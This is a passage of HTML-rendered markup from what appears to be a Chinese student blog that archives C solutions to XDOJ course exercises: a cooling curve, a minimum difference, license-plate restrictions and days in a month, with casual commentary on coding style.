class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Glmre\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其实这就是crypto(密码学)中的凯撒密码。\u003c/p\u003e\u003ch3 id=\"27-课堂练习题-沸水降温曲线\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#27-%E8%AF%BE%E5%A0%82%E7%BB%83%E4%B9%A0%E9%A2%98-%E6%B2%B8%E6%B0%B4%E9%99%8D%E6%B8%A9%E6%9B%B2%E7%BA%BF\" class=\"headerlink\" title=\"27.课堂练习题-沸水降温曲线\"\u003e\u003c/a\u003e27.课堂练习题-沸水降温曲线\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e m,s;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e t;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\u0026#34;\u003c/span\u003e,\u0026amp;m,\u0026amp;s);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e t=m+s/\u003cspan class=\"number\"\u003e60.0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(t\u0026gt;\u003cspan class=\"number\"\u003e50\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%.1f\u0026#34;\u003c/span\u003e,\u003cspan class=\"number\"\u003e20.0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(t\u0026gt;\u003cspan class=\"number\"\u003e30\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%.1f\u0026#34;\u003c/span\u003e,\u003cspan class=\"number\"\u003e30\u003c/span\u003e-(t\u003cspan class=\"number\"\u003e-30\u003c/span\u003e)/\u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(t\u0026gt;\u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%.1f\u0026#34;\u003c/span\u003e,\u003cspan class=\"number\"\u003e50\u003c/span\u003e-(t\u003cspan class=\"number\"\u003e-10\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(t\u0026gt;=\u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%.1f\u0026#34;\u003c/span\u003e,\u003cspan class=\"number\"\u003e100\u003c/span\u003e\u003cspan class=\"number\"\u003e-5\u003c/span\u003e*t);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003chr/\u003e\u003cp\u003e\u003cem\u003e第三次上机的题(不过标的是2?)难度很简单,唯一的问题是我没睡醒\u003c/em\u003e\u003cbr/\u003e\u003cem\u003e《关于我8:00-12:00上机,我11:30醒这件事》\u003c/em\u003e\u003c/p\u003e\u003ch3 id=\"1-数列分段-1\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#1-%E6%95%B0%E5%88%97%E5%88%86%E6%AE%B5-1\" class=\"headerlink\" title=\"1.数列分段\"\u003e\u003c/a\u003e1.数列分段\u003c/h3\u003e\u003cp\u003e这下我终于知道那个第一题是哪来的了(\u003c/p\u003e\u003cp\u003e还请跳到第一题(\u003c/p\u003e\u003cp\u003e\u003cem\u003e为了保持序号数值和xdoj题数一样,此处序号就用1了\u003c/em\u003e\u003c/p\u003e\u003ch3 id=\"28-最小差值\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#28-%E6%9C%80%E5%B0%8F%E5%B7%AE%E5%80%BC\" class=\"headerlink\" title=\"28.最小差值\"\u003e\u003c/a\u003e28.最小差值\u003c/h3\u003e\u003cp\u003e因为任意两个数都得作差,所以偷了个懒,用\u003ccode\u003emalloc\u003c/code\u003e把输入存到一个数组里了。\u003c/p\u003e\u003cp\u003e其实\u003ccode\u003emalloc\u003c/code\u003e完后,和数组的用法就差不多了。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i, j, res, a, *arr;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e arr = (\u003cspan class=\"type\"\u003eint\u003c/span\u003e *)\u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) * a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; a; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;arr[i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; a - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (j = i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e; j \u0026lt; a; j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i == \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026amp;\u0026amp; j == \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = arr[i] - arr[j] \u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e ? arr[j] - arr[i] : arr[i] - arr[j];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (res \u0026gt; (arr[i] - arr[j] \u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e ? arr[j] - arr[i] : arr[i] - arr[j]))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = (arr[i] - arr[j] \u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e ? arr[j] - arr[i] : arr[i] - arr[j]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"29-车牌限行-分支结构\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#29-%E8%BD%A6%E7%89%8C%E9%99%90%E8%A1%8C-%E5%88%86%E6%94%AF%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"29.车牌限行_分支结构\"\u003e\u003c/a\u003e29.车牌限行_分支结构\u003c/h3\u003e\u003cp\u003e看到群里有人在\u003ccode\u003eif\u003c/code\u003e里套了\u003ccode\u003eswitch\u003c/code\u003e。其实没必要,限行的号码都是很有规律的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a, b, c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d %d\u0026#34;\u003c/span\u003e, \u0026amp;a, \u0026amp;b, \u0026amp;c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a \u0026gt; \u003cspan class=\"number\"\u003e5\u003c/span\u003e || b \u0026lt; \u003cspan class=\"number\"\u003e200\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d no\u0026#34;\u003c/span\u003e, c % \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (b \u0026lt; \u003cspan class=\"number\"\u003e400\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (c % \u003cspan class=\"number\"\u003e5\u003c/span\u003e == a % \u003cspan class=\"number\"\u003e5\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d yes\u0026#34;\u003c/span\u003e, c % \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d no\u0026#34;\u003c/span\u003e, c % \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (b \u0026gt;= \u003cspan class=\"number\"\u003e400\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (c % \u003cspan class=\"number\"\u003e2\u003c/span\u003e == a % \u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d yes\u0026#34;\u003c/span\u003e, c % \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d no\u0026#34;\u003c/span\u003e, c % \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e另外可别学我\u003ccode\u003eif\u003c/code\u003e和\u003ccode\u003eelse\u003c/code\u003e不加括号,初学的话很容易弄不清\u003ccode\u003eelse\u003c/code\u003e是属于哪个\u003ccode\u003eelse\u003c/code\u003e的。对于这个,知道\u003ccode\u003eelse\u003c/code\u003e属于最近的\u003ccode\u003eif\u003c/code\u003e就行。\u003c/p\u003e\u003ch3 id=\"30-计算某月天数-分支结构\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#30-%E8%AE%A1%E7%AE%97%E6%9F%90%E6%9C%88%E5%A4%A9%E6%95%B0-%E5%88%86%E6%94%AF%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"30.计算某月天数_分支结构\"\u003e\u003c/a\u003e30.计算某月天数_分支结构\u003c/h3\u003e\u003cp\u003e这里有个\u003ccode\u003eswitch\u003c/code\u003e的小技巧:\u003ccode\u003ecase\u003c/code\u003e语句可以通过不加\u003ccode\u003ebreak\u003c/code\u003e来合并。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecalc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e y, \u003cspan class=\"type\"\u003eint\u003c/span\u003e m)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e (m) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan 